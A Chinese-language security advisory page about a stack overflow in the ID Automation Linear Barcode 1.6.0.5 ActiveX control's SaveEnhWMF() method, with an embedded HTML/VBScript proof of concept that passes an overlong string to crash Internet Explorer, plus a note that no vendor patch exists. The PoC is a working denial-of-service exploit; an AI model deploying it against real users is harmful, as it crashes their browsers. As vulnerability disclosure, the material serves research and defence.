发布日期：2007-05-13
更新日期：2007-05-15

受影响系统：

ID Automation Linear Barcode 1.6.0.5

描述：

---

BUGTRAQ  ID: 23954

Linear Barcode是用于自动化生成条形码的工具。

Linear BarCode ActiveX控件（IDAutomationLinear6.dll）在处理SaveEnhWMF()方式时存在栈溢出漏洞，远程攻击者可能利用此漏洞导致用户浏览器崩溃。

如果用户受骗访问了恶意站点并向其传送了超长参数，就可能触发这个溢出，导致拒绝服务。

<*来源：shinnai （shinnai@autistici.org）
  
  链接：http://secunia.com/advisories/25231/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/13</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------
<b>ID Automation Linear Barcode ActiveX Control (IDAutomationLinear6.dll) v. 1.6.0.5 DoS</b>
url: http://www.idautomation.com/
price:    from $199 to $3,570

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
--------------------------------------------------------------------------------------------------

<object classid='clsid:0C3874AA-AB39-4B5E-A768-45F3CE6C6819' id='target' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <input language=VBScript onclick=QuoteMe() type=button value="Quoting...">
<script language='vbscript'>
Sub tryMe
   buff = ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
  target.SaveEnhWMF buff
End Sub
Sub QuoteMe
  Dim MyMsg
   MyMsg = MsgBox("...e avevo gli occhi gonfi di stupore nel sentire:" & vbCrLf & _
                  "Il cielo azzurro appare limpido e regale" & vbCrLf & _
                  "il cielo a volte, invece, ha qualche cosa di infernale.", 64, "2007/05/13 - ID Automation Linear Barcode 1.6")
end sub
</script></span></span>
</code></pre>

建议：

---

厂商补丁：

ID Automation
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://idautomation.com/

浏览次数：2674
严重程度：0（网友投票）